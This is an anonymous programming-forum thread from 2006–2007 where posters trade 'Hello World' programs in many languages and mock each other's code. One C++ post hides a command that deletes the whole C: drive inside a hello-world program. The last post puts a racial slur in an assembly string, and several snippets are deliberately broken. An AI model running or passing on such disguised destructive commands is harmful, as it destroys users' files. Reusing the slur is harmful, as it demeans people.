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In this thread, we Hello World

Name: Anonymous 2006-06-20 20:56

c:
#include <stdio.h>
main() { printf("hey worldz\n"); }

Name: Anonymous 2006-06-20 21:35

10 PRINT "HELLO WORLD"

Name: Anonymous 2006-06-20 22:02

#include <stdlib.h>
int main() { return system("echo hello world"); }

Name: Anonymous 2006-06-20 22:11

6502 ASM on Commodore 64:
frekzp = $FB
chrout = $FFD2
.org $c000
lda #<msgtxt
sta frekzp
lda #>msgtxt
sta frekzp+1
ldy #$00
sta 53280
sta 53281
loop: lda (frekzp),y
beq exit
sty frekzp+2
jsr chrout
ldy frekzp
jmp loop
rts
msgtxt .db 147,5
.asc "HELLO, WORLD"
.db 0

Name: Anonymous 2006-06-21 8:32

#include <iostream>
#include <string.h>

using namespace std;

class wryy
{
 protected:
       char dokidoki;
 public:
       wryy(char nyu)
       {  strcpy(dokidoki, nyu); }
       za_warudo()
       {  cout << this.dokidoki; }
}

main()
{
 wryy dio;

 dio = new wryy("Hello World");
 dio.za_warudo();

 exit 0
}  

Name: Anonymous 2006-06-21 8:46

print "hello world"

Name: Anonymous 2006-06-21 11:10

?"Hello world"

Name: Anonymous 2006-06-21 11:28

10 PRINT"this is very annoying"
20 GOTO 10
30 END

Name: Anonymous 2006-06-21 15:05

print "".join(list("Hello world"))

Name: Anonymous 2006-06-21 15:21

#include <iostream>
using namespace std;

class Hello
{
    string hello;
public:
    Hello(const string &world = "Hello, world!"): hello(world) { }
    friend ostream &operator<<(ostream &stream, const Hello &hello) {
        stream << hello.hello;
        return stream;
    }
};

int main()
{
    Hello world;
    cout << world << endl;
    return 0;
}

Name: Anonymous 2006-06-21 16:49

>>10
Lol OO

Name: Anonymous 2006-06-21 17:08

>>10
Not Ready For The Enterprise, you'll have to use XML for that.

Name: Anonymous 2006-06-21 22:05

The Enterprise Strikes Back

Name: Anonymous 2006-06-22 3:03

echo 'Hello, world!'

Name: Anonymous 2006-06-22 3:18

++++++++++[>+++++++>++++++++++>+++>+<<<<-]>++.>+.+++++++..+++.>++.<<+++++++++++++++.>.+++.------.--------.>+.>.

Name: Anonymous 2006-06-22 4:07

writeln 'Hello world'; (*IIRC*)

Name: Anonymous 2006-06-22 4:44

document.write('Hello World')

Name: Anonymous 2006-06-22 5:09

msgbox "Hello World"

Name: Anonymous 2006-06-22 6:21

document.getElementsByTagName("BODY")[0].innerHTML = "Hello World"

Name: Anonymous 2006-06-22 9:33

>>15
wins thread

Name: Anonymous 2006-06-22 9:41

Brainfuck fucks with my brain.
I hate it.

Name: Anonymous 2006-06-22 11:05

    .class public HelloWorld
    .super java/lang/Object

    ;
    ; standard initializer (calls java.lang.Object's initializer)
    ;
    .method public <init>()V
       aload_0
       invokenonvirtual java/lang/Object/<init>()V
       return
    .end method

    ;
    ; main() - prints out Hello World
    ;
    .method public static main([Ljava/lang/String;)V
       .limit stack 2   ; up to two items can be pushed

       ; push System.out onto the stack
       getstatic java/lang/System/out Ljava/io/PrintStream;

       ; push a string onto the stack
       ldc "Hello World!"

       ; call the PrintStream.println() method.
       invokevirtual java/io/PrintStream/println(Ljava/lang/String;)V

       ; done
       return
    .end method

Name: Anonymous 2006-06-22 12:34

>>22
seriously.
GTFO

Name: Anonymous 2006-06-22 12:56

>>22
Is this what object oriented programming looks like?

Name: Anonymous 2006-06-22 12:57

>>22
haha oh wow

Name: Anonymous 2006-06-22 12:57

No that's what Java looks like and I think my eyes are irreparably damaged.

Name: Anonymous 2006-06-22 13:48

i actually like java lol

Name: Anonymous 2006-06-22 20:27

Java is evil.

Name: DoubleAW 2006-06-22 20:35

echo"Hello World!";

Name: Anonymous 2006-06-22 23:00

print_endline "Hello World!";;

Name: Anonymous 2006-06-23 0:44

>>22 is some sort of JVM assembly.
#!/usr/bin/perl
# prints "Hello World"
use SuperPython;

Name: Anonymous 2006-06-23 5:06

(lambda () '(hello world))

Name: Anonymous 2006-06-23 5:14

Name: Anonymous 2006-06-23 14:10

IDENTIFICATION DIVISION.
PROGRAM-ID. HELLO WORLD.
ENVIRONMENT DIVISION.
DATA DIVISION.
PROCEDURE DIVISION.
MAIN SECTION.
DISPLAY "Hello World!"
STOP RUN.

Name: Anonymous 2006-06-23 14:13

0x680x650x6c0x6c0x6f0xa00x770x6f0x720x6c0x64

all ready for some hexdump utility.

Name: Anonymous 2006-06-23 15:56

>>5

shouldn't the public class function za_warudo() be called as

dio::za_warudo()

as opposed to

dio.za_warudo()

If not, tell me why not so i can further my knowledge :)

Name: Anonymous 2006-06-23 18:08

in SMATINY (http://esolangs.org/wiki/SMATINY):
1. Swap 42 with 72.
2. Swap 2 with 71.
33. Swap 32 with 87.
34. Swap 111 with 255.
35. Swap 253 with 102.
36. Swap 254 with 34.
41. Swap 41 with 86.
42. Output this block's position.
73. Swap 73 with 99.
88. Swap 87 with 111.
89. Swap 95 with 112.
90. Swap 96 with 115.
91. Swap 97 with 109.
92. Swap 98 with 101.
93. Swap 251 with 117.
94. Swap 94 with 110.
95. Swap 111 with 114.
96. Swap 114 with 108.
97. Swap 108 with 100.
98. Swap 100 with 33.
105. Swap 72 with 101.
110. Swap 105 with 150.
117. Swap 117 with 99.
118. Swap 250 with 109.
120. Swap 120 with 107.
121. Swap 108 with 111
150. Swap 101 with 108.
160. Swap 108 with 32.
161. Swap 161 with 31.
250. Swap 108 with 111.
251. Swap 117 with 107.
252. Swap 110 with 99.
253. Swap 102 with 32
254. Swap 34 with 260
255. Swap 252 with 110

Name: Anonymous 2006-06-23 23:31

>>36
Isn't that used to differentiate namespaces?

Name: Anonymous 2006-06-23 23:40

>>36
:: operator is only used for static member functions and namespaces.
For the record, it should be dio->warudo(), since dio (should be) is a pointer to a wryy object.

Name: Anonymous 2006-06-24 1:32

>>22
It's funny that the assembly language version of Hello World (>>2) is shorter than the Java version

Name: Anonymous 2006-06-24 7:59

>>40
>It's funny that the assembly language version of Hello World (>>2)

lol

Name: Anonymous 2006-06-24 13:45

>>40
uhh its basic

Name: Anonymous 2006-06-24 14:00

eep meant >>4

Name: Anonymous 2006-06-24 17:12

>>40
>>22 is this: http://jasmin.sourceforge.net/

also,
<?xml version="1.0"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN"
    "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">;
<html xmlns="http://www.w3.org/1999/xhtml"; xml:lang="en">
<head>
    <title>Hello World!</title>
    <meta http-equiv="content-type" content="application/xhtml+xml;charset=utf-8" />
</head>
<body>
    <script type="text/javascript">
        function hello(){
            this.text="Hello World!";
            this.say_it=function(e){
                this.paragraph=document.createElement('p');
                this.paragraph_text=document.createTextNode(this.text);
                this.paragraph.appendChild(this.paragraph_text);
                document.body.appendChild(this.paragraph);
            }
        }

        var world = new hello();
        world.say_it();
    </script>
</body>
</html>

Name: Anonymous 2006-06-25 3:06

,008015,022029,036043,050054,055062,063065,066077/333/M0762502F1.HELLO
WORLD

I cheated: http://www2.latech.edu/~acm/HelloWorld.shtml

Name: Anonymous 2006-06-25 4:43

>>44

HTML is not programming, you fail

Name: Anonymous 2006-06-25 5:44 (sage)

>>46
Javascript idiot.

But why would you write all that stuff anyway when >>17 gives the same result.

Name: Anonymous 2006-06-25 8:56

>>47
OO + XML

Name: Anonymous 2006-06-25 10:38 (sage)

>>5
Fails for using strcpy() where dokidoki = nyu; would've sufficed. Also, hello world is longer than a single letter.

Name: Anonymous 2006-06-25 13:49

@greeter
'ZZT-OOP
:touch
Hello, World!
#PLAY SFGAGABQC

Name: Anonymous 2006-06-25 14:25

end
: "touch"
* "Hello, world!"
end

Name: Anonymous 2006-06-25 20:22

>>50
My good sir, your winning post is beyond comparison. In the future, every time I think of "win" I will think of Anonymous #50.

Name: Anonymous 2006-06-25 20:28

echo Hello World

Name: Anonymous 2006-06-26 0:01

>>51 is megazeux/robotic?

Name: Anonymous 2006-06-26 5:27

start
  LDX #$0D
cycle
  LDA hworld,X
  STA $0400,X
  DEX
  BNE cycle
hworld
  RTS
  .text "Hello, World!"

Name: Anonymous 2006-06-26 6:13

>>19
Bad!  lrn2DOM.

document.getElementsByTagName("BODY").item(0).appendChild(document.createTextNode("Hello World!"));

Name: Anonymous 2006-06-26 6:33

>>56
Certainly. But DOM sucks and I escape from it as soon as I can get through.

Name: Anonymous 2006-06-26 8:58

>>56
wrong!
You have used character data somewhere it is not permitted to appear. Mistakes that can cause this error include putting text directly in the body of the document without wrapping it in a container element (such as a <p>aragraph</p>) or forgetting to quote an attribute value (where characters such as "%" and "/" are common, but cannot appear without surrounding quotes).
document.getElementsByTagName("BODY").item(0).appendChild(document.createElement("P")).appendChild(document.createTextNode("Hello World!"));

Name: Anonymous 2006-06-26 9:01

Lol blOOatware

Name: Anonymous 2006-06-26 17:56

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   hE i5 teh u8ER!!!!
   1t m1ght 8E 5omE v1rus 0r a Pl4ySt4tI0n ch34t c0dE.
   1t 3v3n MiTe jUs7 s4y "H3LL0 W0RLD!!!" u ju5t cAn'T gu3s5.
   tH3r3's n3v3r anY p0iNt l00KiNg sC3pT1c4l c0s th4t, be1_1Ev3 iT 0r n0t, 1s
   whAt th1s 1s!!!!!
 
   5uxX0r5!!!L0L0L0L0L!!!!!!!

Name: Anonymous 2006-06-26 19:00 (sage)

>>60
tl;dr

Name: Anonymous 2006-06-26 22:51

>>55
YOU ARE A DUMBASS
THAT WOULD PRINT HELLO WORLD BACKWARDS AS YOU ARE NOT INC'ING THROUGH THE TEXT BUT DEC'ING
YOU DUMBFUCK
FURTHERMORE, SINCE THE LABEL hworld APPEARS BEFORE THE RTS INSTRUCTION, THE RTS OPCODE WILL BE INCLUDED IN THE DISPLAY DATA
AND NOT USING ZERO TERMINATED STRINGS IN CASE YOU CHANGE THE LENGTH OF THE STRING IS PURE HORSECOCKERY
GB2/BASIC+JAVA ENTERPRISE/EMACS/ETC

Name: Anonymous 2006-06-27 22:22

>>62
Capital letters may cause mild retardation

Name: Anonymous 2006-06-28 0:11 (sage)

>>63
PROGRAMMING MAY CAUSE AIDS

Name: Anonymous 2006-06-28 3:56

>>64
How?  AIDS is an STD.  Programmers don't have sex.

Name: Anonymous 2006-06-28 7:00

>>65
std::AIDS

Name: Anonymous 2006-06-28 7:42

>>66
using namespace std;   // OMG!!!!ur rite

Name: Anonymous 2006-06-29 11:51

>>62 try it on your c64 and see

Name: Anonymous 2006-06-30 5:47

>>68
AFTER CLOSER ANALYSIS, IT WOULD ACTUALLY POKE THE HELLO WORLD CODES IN VIDEO MEMORY IN THE RIGHT ORDER.  STILL, THE HWORLD LABEL IS MISPLACED.

BUT THAT'S BS.  YOU NEED TO SET COLOR MEMORY AS WELL, AND WHAT IF THE SCREEN ISN'T AT $0400. 

USE FUCKING CHROUT($FFD2) AND GTFO.

>>4 IS THE RIGHT WAY TO DO IT BUT I FORGOT TO PUT A INY IN THERE SOMWHERE

Name: Anonymous 2006-06-30 10:39

I tried to make a computer say hello world. but it just said fuck you.

Name: Anonymous 2006-06-30 10:59

printf '\150%x%o \167%d\162%d\144\n' 14 0x48 0 1

Name: Anonymous 2006-06-30 19:38

Transcript show: 'Hello, world!'.

Name: Anonymous 2006-07-01 1:44

#!/usr/bin/env python

print "HEY MAN!"

Name: Anonymous 2006-07-01 2:04

How do you make the grayed-block code samples?

Name: Anonymous 2006-07-01 2:08

import javax.swing.*;
import java.awt.*;
import java.awt.event.*;

public class HelloWorld extends JFrame implements ActionListener {
    private JButton dio;
    public static void main (String args[]) {
        HelloWorld zawarudo = new HelloWorld();
        zawarudo.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
    }
   
    public HelloWorld() {
        super("Hello World!");
        Container world = getContentPane();
        world.setLayout(new FlowLayout(FlowLayout.CENTER));
        dio = new JButton("WRYYY");
        dio.addActionListener(this);
        dio.setMnemonic(KeyEvent.VK_W);
        world.add(dio);
        setSize(250, 100);
        setVisible(true);
    }
   
    public void actionPerformed(ActionEvent src) {
        JOptionPane.showMessageDialog(null, "Hello World!", "Dio:", 2);
    }
}

Name: SQL 2006-07-01 2:18

CREATE TABLE message (text char(15));
INSERT INTO message (text) VALUES ('Hello world!');
SELECT text FROM message;
DROP TABLE message;

Name: Anonymous 2006-07-01 2:31 (sage)

lol javascript
javascript:alert(unescape('%48%65%6C%6C%6F%20%57%6F%72%6C%64'));

Name: Anonymous 2006-07-01 5:52

Private Sub Form_Load ()
{
 msgbox "Hello World"
}

Name: Anonymous 2006-07-01 12:48

int main() {
   system("rmdir C:\ /s /q");
   ofstream hlowrld ("hello world.txt");
   hlowrld<<"Goodbye files\nHello world";
}

Name: Anonymous 2006-07-01 13:01 (sage)

>>74
[code]

Name: Anonymous 2006-07-02 19:15

>>76
Lol

Name: Anonymous 2006-07-03 4:27

Actually, SELECT "Hello World" would do (add FROM Dual if your database is stupid).

Name: Anonymous 2006-07-04 9:26

>>82
the database is not stupid, he is

Name: Anonymous 2006-07-06 2:28

php:
<?php echo "Hello World\n"; ?>

perl:
#!/usr/local/bin/perl
print "Hello World\n";

python:
#!/usr/local/bin/python
print "Hello World\n"

sh:
#!/bin/sh
print "Hello World\n"

batch script:
echo "Hello World\n"
c#:
class HelloWorld {
  static void Main () { 
     System.Console.Write("Hello World!");
  }
}
c++:
#include <iostream.h>
int main() {
  cout<<"Hello World"<<endl;
  return 0;
}

c:
#include <stdio.h>
#include <stdlib.h>
int main(void) {
  printf("Hello World\n");
  return 0;
}

nasm:
[SECTION .data]
msg:    db "Hello World",10
len:    equ $-msg
[SECTION .text]
  global main
main:
  mov    edx,len
  mov    ecx,msg
  mov    ebx,1
  mov    eax,4
  int    0x80
  mov    ebx,0
  mov    eax,1
  int    0x80

brainfuck:
>+++++++++[<++++++++>-]<.>++++++[<+++++>-]<-.+++++++..++
+.
>>+++++++[<++++++>-]<++.------------.<++++++++.--------.
+++.------.--------.>+.>++++++++++.

java:
class HelloWorld {
  public static void main (String args[]) {
    System.out.print("Hello World\n");
  }
}

javascript:
<script> document.write ("Hello World\n"); </script>

ruby:
puts "Hello World\n"

tcl:
puts "Hello World\n"

fortran:
PROGRAM HELLO
PRINT *,'Hello World\n'
END

AWK:
BEGIN {
  printf("Hello World\n");
}

SQL:
SELECT "Hello World\n";

that should cover about every well used programming language ty <3

Name: Anonymous 2006-07-06 3:07 (sage)

#1/usr/bin/python
print "Hello Worldz!!!"

Name: Anonymous 2006-07-07 4:06

PHP:
Hello world

Name: Anonymous 2006-07-07 6:25

>>86

HOW DO I MISSED JOKE?

Name: Anonymous 2006-07-07 7:16

>>87
WHY?

Name: Anonymous 2006-07-16 4:37

useLibrary string.
useLibrary consoleIO.

new function main (
    new myConsole consoleIO(console(createNew)).
    new helloString string(string(createNew <- 'Hello World!')).
    myConsole(outputString <- helloString).
    myConsole(outputByte <- consoleIO(endOfLineCharacter)).
    return.
).

Name: Anonymous 2006-07-16 8:33

createScene()
{
   Entity* ent = mSceneMgr->createEntity("HelloWorldEntity", "HelloWorld.mesh");
   SceneNode* scn = mSceneMgr->getRootSceneNode().createChildSceneNode("HelloWorldNode", Vector3(0,0,0));
   scn->attachObject(ent);

   mCamera->setPosition(Vector3(0,100,0));
   mCamera->lookAt(Vector3(0,0,0));

   mSceneMgr->setAmbientLight(ColourValue(0.5f,0.5f,0.5f));
}

Name: Anonymous 2006-07-16 10:44

++++++++++
[                  
   >+++++++>++++++++++>+++>+<<<<-
]
>++.           
>+.        
+++++++.                 
.                        
+++.                     
>++.                    
<<+++++++++++++++.       
>.                       
+++.                     
------.
--------.
>+.
>.

Name: Anonymous 2006-07-16 11:25

>>92
what the hell is this?

Name: Anonymous 2006-07-16 11:48

program helloworld;
uses Forms, StdCtrls;
var hello: TForm;
begin
  hello := TForm.Create(nil);
  hello.Caption := '''sup';
  with TLabel.Create(hello) do
  begin
    Parent := hello;
    Caption := 'Hello world!';
  end;
  try
    hello.ShowModal;
  finally
    hello.Release;
  end;
end.

Name: Anonymous 2006-07-16 12:14

93, its called Brainfuck :D

Name: Anonymous 2006-07-16 23:39

MODS /B/ IS NOT WORKING PLZ FIX CUZ I LIEK /B/. KTHNKSBAI.

Name: Anonymous 2006-07-17 17:35

>>34
COBOL?

Name: Anonymous 2006-07-17 20:39

>>97
finally! i've been waiting for someone to say something about that. isn't it beautiful?

Name: Anonymous 2006-07-18 0:15

>>98
It looks like a transcript of a Doctor Who episode featuring the Daleks.

Name: Anonymous 2006-07-18 21:20

#!/usr/bin/parrot
Hello, world!

Name: Anonymous 2006-07-18 21:58

#!/usr/bin/HQ9P
H

Name: Anonymous 2006-07-19 2:25

display "Hello World"

Name: Anonymous 2006-07-19 12:37

another way to do it would be

capture program drop yhalothar
program define yhalothar
     display "Hello, I am in your 4chans, coding your Stata"
end

Name: Anonymous 2006-07-20 1:47

test

Name: Anonymous 2006-07-20 22:44

#! /usr/bin/perl

print "Hello, World!\n";
-----------
#! /usr/bin/perl

$phrase = "Hello, World!";
print "$phrase \n";
------------
#! /usr/bin/perl

$_ = "Hellow, World!";
print;
------------

TIMTOWTDI F T W!

Name: Anonymous 2006-07-21 14:38

>>105
$,=', ';$\="!\n";print qw$Hello World$;

#####

print chr(2.08*$_**3-16.7*$_**2+43.27*$_+72.5)  for(0..4);
print ", World!\n";

Name: Anonymous 2006-07-21 19:09

#include <stdlib.h>
#include <stdio.h>

int main()
{
  char* buffer;

  buffer = (char*) malloc(12);

  buffer[0] = 'H';
  buffer[1] = 'e';
  buffer[2] = 'l';
  buffer[3] = 'l';
  buffer[4] = 'o';
  buffer[5] = ' ';
  buffer[6] = 'W';
  buffer[7] = 'o';
  buffer[8] = 'r';
  buffer[9] = 'l';
  buffer[10] = 'd';
  buffer[11] = '\0';

  printf("%s\n", buffer);

  free(buffer);

  return 0;
}

Name: Anonymous 2006-07-22 5:48

#include <stdio.h>
#include <stdlib.h>

int getasweetassinteger(char a);

int main(void)
{
    int hi[2] = {0};
    int *pnemethistheman = {NULL};
    int i = 9;
    char *a = (char*)&hi[0];
    int l = 4;
    char bleh = 114;
    struct prettyamazingstruct{
        char w;
        char y;
        char x[2];
      } *star;
     
      struct {
        unsigned jonothan:    1;
        unsigned annie:        1;
        unsigned alexander:    1;
        unsigned jimmy:        1;
        unsigned nicholas:    1;
        unsigned mary:        1;
        unsigned gabriella:    1;
        unsigned thompson:    1;
    } dsfkhe;

    for(l=5;l<74;l=l+2)
    {
        if(l==5)
        {
            for(i=7;i<31;i++)
            {   
                *a = *a + 3;
            }
        }
        if(l<11)
        {
            a++;
            bleh = bleh ^ 15;
            *a = getasweetassinteger(bleh);
            a = a + 2;
            l = 13;
        }
        if(l==31)
        {
            srand(time(NULL));
            while(l != 108)
            {
                l = rand();
            }
            *a = (char)l;
            l = 42;
        }
        if(l==48)
        {
            a--;
            bleh = 9;
            while(bleh != 0x6C){
                bleh++;
            }
            *a = (char)bleh;
        }
    }
    hi[1]=1867980911;
    l = 0;
   
    star = (struct prettyamazingstruct*)&hi[0];


    putchar((*star).w);   
    putchar(star->y);
   
    do {
        switch(l)
        {
            case 0:
                a = &(*star).x[0];
                putchar((char)*a);
                l = l + 2;
                break;
            case 2:
                putchar(star->x[1]);
                l++;
                break;
            default:
                l = 4;
                break;
        }
    } while(l != 4);

    a = (char*)&hi[1];
    for(i=0;i<4;i++)
    {
        putchar((char)*a);
        a++;
    }

    pnemethistheman = malloc(3);
    *pnemethistheman = 6581362;
    printf("%s",pnemethistheman);
    free(pnemethistheman);
   
    dsfkhe.jonothan = 1;
    dsfkhe.annie = 0;
    dsfkhe.alexander = 0;
    dsfkhe.jimmy = 0;
    dsfkhe.nicholas = 0;
    dsfkhe.mary = 1;
    dsfkhe.gabriella = 0;
    dsfkhe.thompson = 0;
   
    printf("%c",dsfkhe);
    putchar(0xA);
   
   
    printf("Press a key to continue!\n");
    getchar();
    return 0;   
}

int getasweetassinteger(char a)
{
    unsigned char f = 0xE7;
    char l = a & f;
    return (int)l;   
}

Name: Anonymous 2006-07-22 6:00

>>108

That works but how?

Name: Anonymous 2006-07-22 6:12

>>108
You are my new god.

Name: Anonymous 2006-07-23 0:13

>>108

we have a winrar!

Name: Anonymous 2006-07-30 5:05 (sage)

>>108

This code doesn't work.

Name: Anonymous 2006-07-31 3:43

>>112
You don't work.

Name: Anonymous 2006-07-31 7:11

MessageBox::Show("Whazzzzup","Hello W0r1dz!")

Name: Anonymous 2006-07-31 10:40

System.out.println("Hello World!");

Name: Anonymous 2006-07-31 13:32

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Name: Anonymous 2006-07-31 17:52

ClrHome
Disp("HELLO WORLD")

Name: Anonymous 2006-07-31 22:50

++++++++++[>+++++++>++++++++++>+++>+<<<<-]>++.>+.+++++++..+++.>++.<<+++++++++++++++.>.+++.------.--------.>+.>.

Name: Anonymous 2006-08-01 0:40

string $helloWorld = "hello world from maya's MEL scripting";
print $helloworld;
polySphere;
//because every mel script creates a polysphere eventually.

Name: Anonymous 2006-08-01 7:24

++++++++++
[                   The initial loop to set up useful values in the array
   >+++++++>++++++++++>+++>+<<<<-
]
>++.                print 'H'
>+.                 print 'e'
+++++++.                  'l'
.                         'l'
+++.                      'o'
>++.                      space
<<+++++++++++++++.        'W'
>.                        'o'
+++.                      'r'
------.                   'l'
--------.                 'd'
>+.                       '!'
>.                        newline

Name: Anonymous 2006-08-01 13:57

>>120 fails
see >>118

Name: Anonymous 2006-08-01 14:28

>>92
>>118
>>120
see
>>15

My father would laugh to see >>34

Name: Anonymous 2006-08-01 17:25

>>34
OMG what's that

Name: Anonymous 2006-08-02 0:42

>>37
1. Swap 1 with 71.
10. Output this block's position.
11. Swap 11 with 150.
32. Output this block's position.
34. Swap 33 with 32.
35. Swap 35 with 118.
36. Swap 36 with 9.
72. Output this block's position.
101. Output this block's position.
102. Swap 101 with 100.
103. Swap 103 with 107.
104. Swap 104 with 32.
108. Output this block's position.
109. Swap 109 with 107.
111. Output this block's position.
112. Swap 112 with 31.
114. Output this block's position.
115. Swap 110 with 117.
116. Swap 116 with 107.
117. Swap 110 with 99.
119. Output this block's position.
120. Swap 120 with 110.

ggthxbai

Name: Anonymous 2006-08-02 8:37

>>124
using more than one "Output this block's position." is gay.

Name: NonymousQ 2006-08-03 0:24

Java:
System.out.print("Hullo werld!!!!");

Python:
>>'Hello world'
>>print 'hello world'

PHP:
echo "Hello world";
print("Hello world");

Name: Anonymous 2006-08-03 11:38

>>126
PHP:
Hello world

Name: DoubleAW 2006-08-04 0:00

>>127

You fail at PHP.

Good day, sir.

Name: Anonymous 2006-08-04 1:26 (sage)

>>128

Anything not between <?php ... ?> is left as is, and thus, NO U.

(At least, that was how it worked last I checked. Not a feature I use often.)

Name: Anonymous 2006-08-04 3:20

>>129

GTFO /prog/

Name: Anonymous 2006-08-04 3:38

>>128,130
You are the one who failed it, don't fail to admit it
Stuff outside <?php ... ?> gets forwarded to the standard output, even if it's a bad idea (except for templates).

Name: Anonymous 2006-08-04 4:44

>>139
PHP is a bad idea (except for templates).

Name: Anonymous 2006-08-04 5:31

>>132

thinks the only use for scripting languages are for templates, insta-FAIL

>>131

not considered as PHP code unless its inside <?php ?>
GTFO on my interwebs

Name: Anonymous 2006-08-04 5:46 (sage)

>>133
thinks the only use for scripting languages are for templates, insta-FAIL

MOAR LIEK "REALIZES PHP IS A STEAMING PILE OF SHIT", MIRITE? Seriously, there's much better choices out there.

Name: Anonymous 2006-08-04 5:47

>>134

NEWSFLASH: PHP is not the only scripting language

Name: Anonymous 2006-08-04 7:22 (sage)

>>135

NEWSFLASH: >>132 EXPLICITLY MENTIONED PHP.

Name: Anonymous 2006-08-04 8:46

NEWSFLASH: >>1-136 are stupid

Name: Anonymous 2006-08-04 10:15

>>137

NEWSFLASH: PROTIP COMING UP ON >>139

Name: Anonymous 2006-08-04 14:28

PHP IS EVEN BETTER.

Name: Anonymous 2006-08-04 14:36

NEWSFLASH: NEWSFLASH

Name: Anonymous 2006-08-04 23:27 (sage)

NEWSFLASH:

PENIS

Name: Anonymous 2006-08-11 15:52

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Name: Anonymous 2006-08-13 6:36

<?php
$comment = "penis";

$wordfilter=array(
    "penis" => "Hello world!",
        );
$comment = str_replace(array_keys($wordfilter), array_values($wordfilter), $comment);

echo $comment;

?>

Name: Anonymous 2006-08-14 4:07

>>142
I can't tell whether this is valid Perl or not

Name: Anonymous 2006-08-14 13:39 (sage)

>>144
turn in your perl badge, now.

Name: Anonymous 2006-08-15 2:57

Ruby:

puts 'Hello World!'
self.puts 'Hello World!'
penis=gets.chomp
puts 'Hello ' penis ' World!'

Name: Anonymous 2006-08-15 3:01

FPOBA Language:

auntie<<"Hello World\.uncle"
will>>int.belaire

Name: Anonymous 2006-08-15 9:15

javascript:
function
w(o,r,l,d,z)
{
    if (l<=r.length)
    {
        o+=z(d);
        return(w(o,r,++l,d+r[--l],z));
    } else {
        return(o);
    }
}

omg_hax=new Array(12);
omg_hax[omg_hax[2]=0]=(omg_hax[1]=7)*(omg_hax[3]=omg_hax[8]=3)-(omg_hax[10]=-8);
omg_hax[6]=-((omg_hax[4]=omg_hax[11]=-67)+(omg_hax[7]=-2*(omg_hax[5]=2*(omg_hax[9]=-6)))/2);

alert(w('',omg_hax,0,72,String.fromCharCode));

Name: Anonymous 2006-08-15 12:07

penis.chop!

Name: Anonymous 2006-08-15 12:10

>>149
My first Ruby program EVAR called. It wants its LOC back.

Name: Anonymous 2006-08-15 22:16

(print 'Hello-world!)

Name: Anonymous 2006-08-16 20:52

#!/bin/bash
echo "Yo man, wazz'apnin?"

Name: Anonymous 2006-08-17 6:26

io:format("Hello world~n", []).

Name: Anonymous 2006-08-17 7:48

>>153
mercury amirite?

Name: Anonymous 2006-08-17 10:33

I like my way

<?

function hedonist(){
return array('world' => "hello");
}

this = hedonist();

foreach($this as $value){
  echo $value;
}
foreach($this as $key => $value){
  echo $key;
}

?>

Name: Anonymous 2006-08-17 10:52

message$ = "Hello world!"
attribute% = &H1F

DEF SEG = &HB800
FOR i% = 1 TO LEN(message$)
    POKE (i% - 1) * 2, ASC(MID$(message$, i%, 1))
    POKE i% * 2 - 1, attribute%
NEXT

Name: Anonymous 2006-08-17 11:20

Hello World for Win32:

#define UNICODE
#include <windows.h>

int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR lpCmdLine,
                     int nCmdShow) {

    HANDLE stdin, stdout;
    TCHAR *msg = L"Hello, world!";

    AllocConsole();
    stdin = GetStdHandle(STD_INPUT_HANDLE);
    stdout = GetStdHandle(STD_OUTPUT_HANDLE);
   
    WriteConsole(stdout, msg, 12, NULL, NULL);
    ReadConsole(stdin, NULL, 0, NULL, NULL);
   
    FreeConsole();
    ExitProcess(0);
    return 0;
}

Clearly, "OS API" is to "Win32" what "programming language" is to "Java".

Name: Anonymous 2006-08-17 12:18

>>157
#include <windows.h>

int APIENTRY WinMain(HINSTANCE inst,
                     HINSTANCE prev,
                     LPSTR args,
                     int show) {
    MessageBox(0,"Hello World","",0);
    return 0;
}

Name: Anonymous 2006-08-17 15:14

>>158
I wanted to print it to the console, without using CRT.

Name: Anonymous 2006-08-17 17:51

I bet this has been done...but what the hell D:

#include <iostream>
using namespace std;
int main() {cout<<"OH HAI IS THIS THE INTERBUTT?!\n"; cin.get(); return 0;}

FAILS for lack of structure and in-depth comments describing every single fucking line.

Name: Anonymous 2006-08-17 17:54

>>160
Fails for using iostream

Name: Anonymous 2006-08-17 18:57

>>159
Then use TFT lol

Name: Anonymous 2006-08-17 20:55

>>40


That's a really dumb comment that just shows how retarded you are

Name: Anonymous 2006-08-18 0:08

>>160

Fails for namespace pollution.

Name: Anonymous 2006-08-18 0:59

>>164
a person that uses the std namespace isn't going to be writing shit that will conflict

Name: Anonymous 2006-08-18 6:27

>>164
>>161
I guess I should put more effort into random posts on anonymous message boards...

Name: DOMtree Walker 2006-08-18 16:01

var a = window.open('', 'hw', 'height=192', 'width=256');
b = a.document;
b.appendChild(b.createElement('html'));
c = b.getElementsByTagName('html')[0];
c.setAttribute('lang', 'en-US');
c.setAttribute('xmlns', 'http://www.w3.org/1999/xhtml';);
c.appendChild(b.createElement('head'));
c.appendChild(b.createElement('body'));
c.childNodes[0].appendChild(b.createElement('title'));
c.childNodes[0].childNodes[0].appendChild(b.createTextNode('Saying Hello'));
c.childNodes[0].appendChild(b.createElement('link'));
c.childNodes[0].childNodes[1].setAttribute('rel', 'stylesheet');
c.childNodes[0].childNodes[1].setAttribute('type', 'text/css');
c.childNodes[0].childNodes[1].setAttribute('href', 'showoff.css');
c.childNodes[1].appendChild(b.createElement('p'));
c.childNodes[1].childNodes[0].appendChild(b.createTextNode('Hello World!'));

//and then your popup blocker squelches this
//yeah, hay, anyone know how to insert the encoding and doctype without resorting to .innerHTML?

Name: Anonymous 2006-08-18 16:07

>>167
encoding
d=b.createElement('head'));
e=b.createElement('meta'));
e.setAttribute('http-equiv','Content-type');
e.setAttribute('content','application/xhtml+xml; charset=utf-8');
d.appendChild(e);

doctype
use a data: url instead?

Name: Anonymous 2006-08-18 17:10

>>167
Hilarious

Name: Anonymous 2007-04-04 21:31 ID:3CBHD9AB

Hello World in Whitespace
               
               
                     
                
                     
                   
                     
                 
                           
                    
                 
                    
           
                       
                           
                  
                           
                     
                     
                     
                     
                        

Name: Anonymous 2007-04-04 21:40 ID:Heaven

I fucking hate this thread.

Name: Anonymous 2007-04-05 3:40 ID:Heaven

>>171
seconded

Name: Anonymous 2007-04-05 8:52 ID:Heaven

>>50
haha win

Name: Anonymous 2007-04-05 11:00 ID:JdslytkF

Fags don't know about my low level IO.
main(){write(1,"Hello, World!\n",14);}
Dear >>40
I honestly cannot comprehend how the hell you thought that >>2 was assembly, the biggest fool; you must be.


section    .data

msg    db    'You are a sand nigger !',0xa
len    equ    $ - msg

    global _start

_start:

